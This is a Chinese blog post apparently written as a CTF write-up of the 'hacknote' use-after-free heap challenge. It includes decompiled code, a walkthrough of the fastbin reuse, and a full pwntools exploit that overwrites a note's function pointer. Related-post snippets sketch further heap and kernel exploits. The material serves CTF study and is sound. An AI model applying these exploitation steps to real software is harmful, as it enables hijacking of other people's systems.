pwn 之use_after_free

BUUCTF PWN5堆漏洞利用实战解析 堆漏洞利用是二进制安全领域的核心课题,通过理解glibc的内存管理机制,攻击者可以实现任意代码执行。本文以BUUCTF平台PWN5题为案例,深入剖析Use After Free漏洞的利用原理。UAF漏洞源于程序释放内存后未清空指针,结合fastbin dup等堆利用技巧,可完成地址泄露与执行流劫持。在CTF竞赛和实际渗透测试中,这类技术常被用于突破NX/DEP等防护机制。通过分析32位环境下的堆布局、GOT表劫持及malloc hook覆盖等关键技术点,展示了从漏洞定位到getshell的完整攻击链。 阅读详情

题目链接
通过这道题对use_after_free进行一次学习
先贴出源代码

add_note

        notelist[i] = malloc(8u);
			...
        *(_DWORD *)notelist[i] = print_note_content;
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = notelist[i];
        v0[1] = malloc(size);
        if ( !*((_DWORD *)notelist[i] + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)notelist[i] + 1), size);
        puts("Success !");
        ++count;

del_note

    free(*((void **)notelist[v1] + 1));
    free(notelist[v1]);

prin_note

    (*(void (__cdecl **)(void *))notelist[v1])(notelist[v1]);

从这三个函数中可以分析出所使用的数据结构

note_list struct

通过观察del_note,发现其free了相应的note后并没有将对应notelist[i]置为NULL,notelist[i]任然指向size 8 的fast bin,这就为我们的再次利用提供了可能。

利用过程

1.两次add,申请大于12B size的chunk

add 2
为什么要add两次?为什么要申请12B的chunk?这两个坑稍后再填。
2.两次free,先free(notelist[0]),再free(notelist[1])。两次free后,notelist[0]和notelist[1]所指向的chunk加入fastbin 链表,根据LIFO原则,notelist[1]会接在链表头,当再次需要8B的chunk时,程序不会重新分配一个新的8B的chunk,而会先从fastbin中找一找有没有8B的chunk。
两次free
3.再add_note,这次的content中payload = p32(aim fun),
然后print_note(index = 0), aim fun 执行。

notelist[2]首先需要8B大小的chunk,程序会首先从fastbin中寻找有没有被free掉的8B的chunk,发现有,所以把链表head处的notelist[1]所指向的chunk分配给了notelist[2],然后notelist[2]的content的大小为8B,所以将fastbin中剩下的notelist[0]所指向的chunk分配给content。这样下来,content所写入的数据将会被notelist[0]所利用。至于如何利用呢?是否还记得prin_note源码中的

(*(void (__cdecl **)(void *))notelist[v1])(notelist[v1]))

将notelist[v1]中存的第一个参数作为函数地址引用。所以这样就可以达到执行写入的任意函数了。
给notelist[2]的content中写入任意fun,再prin_note index=0,就可以执行任意fun了。
现在再把前面的两个坑给填了。

1.add两次是为了让fast bin 中有两个notelist[]指向的chunk,使得content能够分到一个fast bin 链表中的chunk。
2.为什么要大于12呢,
chunk
chunk的结构就像上图,32位的程序中的pre size 和size均为4B,malloc(12)之后,所分配的payload区域仅为8B,剩下的4B占有下一个chunk的pre size的位置。所以如果malloc(x<=12),则申请的chunk也会分配8B的chunk,使得fast bin链表中会加入有影响的元素。
由于程序里面含有一个magic函数,所以可以直接利用

int magic()
{
  return system("cat flag");
}

exp

from pwn import *
context.log_level="debug"
magic = 0x08048986
p = process('./hacknote')
def add(size,content):
    p.sendlineafter("Your choice :","1")
    p.sendlineafter('Note size :',str(size))
    p.sendlineafter("Content :",content)
def delete(index):
    p.sendlineafter("Your choice :","2")
    p.sendlineafter("Index :",str(index))
def prin(index):
    p.sendlineafter("Your choice :","3")
    p.sendlineafter("Index :",str(index))
#raw_input()
payload1=p32(magic)
add(12,"aaa")
add(12,"ddaa")
delete(0)
delete(1)
add(8,payload1)

prin(0)
p.interactive()

本文参考了以下几个链接

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/use_after_free/
https://paper.seebug.org/445/

CTF Pwn题解析:从CGI服务中的UAF漏洞到Glibc堆利用实战 Use-After-Free(UAF)是C/C++程序中常见的内存安全漏洞,源于堆内存释放后指针未置空导致的悬空指针访问。其原理是攻击者通过控制内存重新分配过程,篡改关键数据或函数指针。在CTF竞赛和二进制安全研究中,UAF漏洞常被用于实现信息泄露和远程代码执行,具有极高的技术价值。本文以一道模拟CGI服务的CTF Pwn题为场景,深入剖析了在Web服务框架下如何定位并利用UAF漏洞。通过结合堆风水布局、tcache poisoning等Glibc堆利用技术,演示了从漏洞触发到最终获取shell的完整利用链 阅读详情

相关推荐

CTF堆漏洞利用:从UAF到控制流劫持实战

堆内存管理是现代程序安全的核心议题,涉及malloc/free等基础内存操作机制。通过分析内存分配器的设计原理(如glibc的ptmalloc2),可以理解use-after-free等漏洞的成因——当程序错误访问已释放的内存区域时,攻击者可能通过精心构造的堆布局控制关键数据。在CTF赛事和真实渗透测试中,这类技术常被用于突破ASLR防护、泄露关键地址,最终实现控制流劫持。以DEFCON CTF赛题'elixir-of-life'为例,结合堆风水(Heap Feng Shui)和tcache poisoni

weixin_30897079的博客 307

CTF-PWN-堆-【use after free-1】

再看实际的buf的有多少,如果大于15就用malloc分配实际长度的堆,其指针为dest,然后将buf的内容复制进去,同时更新ptr里的内容,前八个字节为dest的值然后初始地址过24个字节开始被赋值函数的地址,此时对应的函数free两次,先free存储内容的指针,再free原ptr指针。notelist数组存储着malloc分配的8字节的节点指针,每个节点指针有两个元素,一个是put函数,另一个是对应malloc分配的节点内容的指针,节点内容的大小由输入决定。简单的输入然后根据输入的数字有不同功能。

llovewuzhengzi的博客 1228

STC8单片机低功耗延时优化实践:从循环等待到定时唤醒

本文深入探讨了STC8单片机低功耗延时优化的核心方法,即利用掉电唤醒定时器(WKT)替代传统的循环等待,实现从“空转耗电”到“定时唤醒”的转变。通过实战代码演示了如何编写低功耗延时函数,将待机电流从mA级降至μA级,并分析了精度、唤醒时间等关键权衡点,为电池供电的物联网设备提供了有效的续航优化方案。

pea55的博客 324

pwntools常用脚本语句介绍讲解

接收远端传回的数据 interactive() : 在取得shell之后使用,直接进行交互,相当于回到shell的模式。 recv(numb=字节大小, timeout=default) : 接收指定字节数。 recvall() : 一直接收直到达到文件EOF。 recvline(keepends=True) : 接收一行,keepends为是否保留行尾的\n。 recvuntil(delims, drop=False) : 一直读到delims的pattern出现为止。 recvrepeat(timeou

半岛铁盒的博客 5618

<蓝桥杯软件赛>零基础备赛20周--第16周--GCD和LCM

gcd,lcm

罗勇军的博客 7604

Unity 升级 xLua 版本,编译不同平台链接库

Unity 升级 xLua 详解

LymanCao的专栏 1801

【逆向学习记录】Pwntool常用的数据处理方式

1 概述 偶尔在pwn的题目中,使用pwntool工具,由于不熟练,经常性遗忘,尤其是接收地址的时候,会卡在数据处理上,因此单独起一篇文章,用来记录日常用到的各种问题。 参考文章: PwnTools常见用法 Pwntool 官方文档 2 数据处理方式 2.1 发送数据 send(payload) 发送payload sendline(payload) 发送payload,并进行换行(末尾\n) s...

卦星的专栏 4718

FreeSWITCH实战:5分钟搞定阿里云SDM(MRCP-SERVER)语音机器人搭建(含Docker部署技巧)

本文详细介绍了如何利用FreeSWITCH与阿里云SDM(MRCP-SERVER)快速搭建高可用语音机器人,包括Docker部署技巧、系统调优及高可用架构设计。通过实战案例和优化建议,帮助开发者5分钟内完成部署,提升语音交互系统的性能和稳定性。

stone的博客 504

pwntools语句的简单使用,包含例子

from pwn import * #io = process("./int_overflow") io = remote("远程链接ip",端口) flag_addr = 需要覆盖的flag地址如0x804868B offset = 0x14 + 0x4 io.sendlineafter("Your choice:","1") io.sendlineafter("username:","aaa") payload = b"A"*offset + p32(flag_addr) + b"A"*(260 - o

半岛铁盒的博客 4115

开放平台 - 互动玩法演进之路

随着直播业务和用户规模日益壮大,如何丰富直播间内容、增强直播间内用户互动效果,提升营收数据变得更加关键。

bilibili_TC的博客 1739

从源码编译CesiumForUnreal

从源码编译CesiumForUnreal插件

专注GIS开发 5644

pwn 堆入门之use after free

目录hacknote hacknote #!/usr/bin/env python2 from pwn import * arch = "i386" filename = "hacknote" context(os="linux", arch=arch, log_level="debug") content = 0 offset = 0 # elf elf = ELF(filename) # libc def add(i,size,content): io.sendline('1')

清霂的博客 253

大模型知识边界探索:LLM设计的极限测试

最优化理论是数学中的一个分支,主要研究如何从给定的一组约束条件下找到最优解。目标函数:定义了需要优化的指标,可以是最大化或最小化。约束条件:定义了在优化过程中需要满足的限制条件。无约束优化:目标函数和约束条件都不存在。有约束优化:目标函数存在,但存在约束条件。多目标优化:同时需要优化多个目标函数。极限测试(Ultimate Test)是一种系统性的方法,用于评估大型模型(如LLM)在极端条件下的性能和稳定性。极端数据分布:与模型训练数据分布显著不同的数据集。极端计算资源。

AI天才研究院 432

CTFshow-Pwn141(Use-After-Free)

摘要:该32位程序存在堆漏洞利用点,通过未清零的UAF和函数指针覆盖实现后门调用。程序使用两个堆块管理笔记(8字节管理块和内容块),管理块前4字节存储函数指针。通过连续释放两个笔记再重新申请,可覆盖原函数指针为后门地址。具体步骤:1) 创建两个笔记;2) 按序释放;3) 重新申请8字节块并写入后门地址;4) 调用print触发后门。利用tcache的LIFO特性,第二次malloc会分配原管理块,从而篡改函数指针。最终通过print_note执行后门函数获取shell。

Welcome To My6n Blog 295

气象大模型光伏功率预测中的应用:从短期,超短期,中长期的实现与开源代码详解

本文详细介绍了基于大模型的光伏功率预测方法,涵盖超短期(15分钟-1小时)、短期(1-6小时)和中长期(1天-1周)预测。文章首先讨论了数据准备与预处理,包括历史功率、气象、天文和电站特性数据的收集与特征工程。随后,针对不同预测需求,提出了多种深度学习模型:超短期预测采用1DCNN-LSTM混合模型,短期预测使用Transformer模型,中长期预测则通过多尺度特征提取模型和概率预测方法处理不确定性。文章还提供了模型训练、评估、部署和优化的完整流程,并开源了代码实现。未来研究方向包括结合数值天气预报、开发时

专注AI大模型,软件混淆,授权 1573

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

[pwn]堆:Use After Free

Use After Free:time_formatter writeup UAF漏洞就是Use After Free,再释放后继续使用,Use After Free会引发各种奇怪的现象,根据场景的不同并没有一种统一的利用方式。下面看题目:time_formatter 日常惯例,先查看安全策略: 开启了canary、NX、ASLR,然后查看一下程序逻辑: 很常见的堆菜单,下面查看一下各种功能:...

Breeze的博客 8803

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

CTF-PWN-堆-【use after free-2】

再看实际的buf的有多少,如果大于15就用malloc分配实际长度的堆,其指针为dest,然后将buf的内容复制进去,同时更新ptr里的内容,前八个字节为dest的值然后初始地址过24个字节开始被赋值函数的地址,此时对应的函数free两次,先free存储内容的指针,再free原ptr指针。如果小于15,就直接将buf的内容赋值到ptr的开始部分,然后初始地址过24个字节开始被赋值函数的地址,此时对应的函数free一次。同样,AH是ax的高8位,而AL是ax的低8位,这就是说ah为33h,al为44h。

llovewuzhengzi的博客 1130

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

PWN -UAF(Use After Free)漏洞解析

在 PWN 技术的持续学习旅程中,第 19 节聚焦于 UAF(Use After Free)这一关键概念。UAF 漏洞在安全领域,尤其是堆内存相关的攻防中占据重要地位。

m0_57836225的博客 2307

[BUUCTF]pwn - wustctf2020_easyfast (Use After Free)

打开菜单,了解到相应的功能后,改一下名字 这个漏洞大致利用方式是这样的; 利用思路 通过double free修改chunk0的fd指针,让申请到的chunk能够覆盖到0x602090,修改1为0,最后直接调用backdoor来getshell from pwn import * #p=process('./wustctf2020_easyfast') p=remote("node3.buuoj.cn",25044) context.log_level="debug" def add(si

半岛铁盒的博客 566

【CTF题解NO.00006】*CTF2021 - pwn - write up by arttnba3

github blog addr 【CTF题解NO.00006】*CTF2021 - pwn - write up by arttnba3[github blog addr](https://arttnba3.cn/2021/01/20/CTF-0X03-STARCTF2021-PWN/)0x00.绪论0x01.babyheap - Use After Free + tcache poisoning0x02.babygame - double free + tcache poisoning0x03.baby

arttnba3的博客 814

DEFCON 29 CTF Finals Pwn 题解:SecureNote —— 深度剖析 Use-After-Free 漏洞与堆利用技术

SecureNote 挑战是一个经典的堆利用题目,它完美地展示了 UAF 漏洞从信息泄露到任意地址写入,再到最终控制流劫持的完整攻击链。在现代 glibc 环境下,堆的分配和释放顺序对漏洞利用至关重要。通过精巧的堆风水,我们可以控制堆块进入或tcache,从而泄露地址或为创造条件。深入理解 glibc 的malloc实现(如tcachefastbin的工作原理,以及它们在释放和分配时对堆块元数据的操作)是成功利用堆漏洞的关键。特别是tcache的fd指针和的fd/bk指针在信息泄露和任意写中的应用。

Alfadi联盟 萧瑶的博客 1164

PWN练习---Heap_1

pwn--堆题部分做题的wp

qq_74259765的博客 1496

从CTF赛题解析堆漏洞利用:UAF与tcache poisoning实战

堆内存管理是程序运行时的核心机制,它通过动态分配和释放内存来支持灵活的数据结构。其原理涉及空闲块链表、bins分类(如fastbin、smallbin、unsorted bin)以及现代glibc引入的tcache(线程本地缓存)优化。理解堆管理机制的技术价值在于,既能编写高效内存安全的代码,也能识别和防御内存破坏漏洞。在安全攻防领域,堆漏洞常出现在允许用户管理动态内存的应用场景,如自定义内存分配器、网络协议解析、复杂对象生命周期管理等。本文以一道典型CTF赛题为切入点,深入剖析Use-After-Free

weixin_30256901的博客 644

【CTF题解NO.00005】ByteCTF2020 - pwn - write up by arttnba3

github pages address 【CTF题解NO.00005】ByteCTF2020 - pwn - write up by arttnba3[github pages address](https://arttnba3.cn/2020/11/23/CTF-0X01-ByteCTF2020-pwn/)0x00.绪论0x01.线上赛 - CTF -PWN0x00.easy_heap - null by any address + tcache poisoning漏洞:任意地址写00x01.gun

arttnba3的博客 1041

linux内核pwn,[原创]linux kernel pwn 分析(一) 强网杯core + ciscn babydriver

通用的提权代码是commit_creds(prepare_kernel_cred(0));这两个函数如何动态获得?借助/proc/kallsyms符号表,在运行时动态读取。这个很容易实现,贴出一例:unsigned long find_symbol_by_proc(char *file_name, char *symbol_name){FILE *s_fp;char buff[200] = {0}...

weixin_42588672的博客 755

Linux CTF综合漏洞远程渗透题目(解题思路,看下一篇文章)

本文介绍了一个Linux CTF二进制渗透测试(PWN)教学程序,该程序集成了栈溢出、堆溢出、格式化字符串、整数溢出和Use-After-Free五大常见漏洞,并新增了TCP远程服务功能(监听7777端口)。文章提供了完整的C语言源码和基于PWNTOOLS的Python3漏洞利用脚本,展示了从信息泄露到最终获取Root Shell的完整攻击链。同时,从白帽角度提出了防御策略,包括禁用危险函数、输入长度检查、指针置空以及启用编译器防护等安全措施。该程序仅供学习使用,强调了网络安全教育的重要性。

fearhacker的专栏 450
上一篇: linux 之pwn环境建立
下一篇: 2014_hitcon_stkof
Maxmalloc
博客等级 码龄8年 12粉丝 33原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值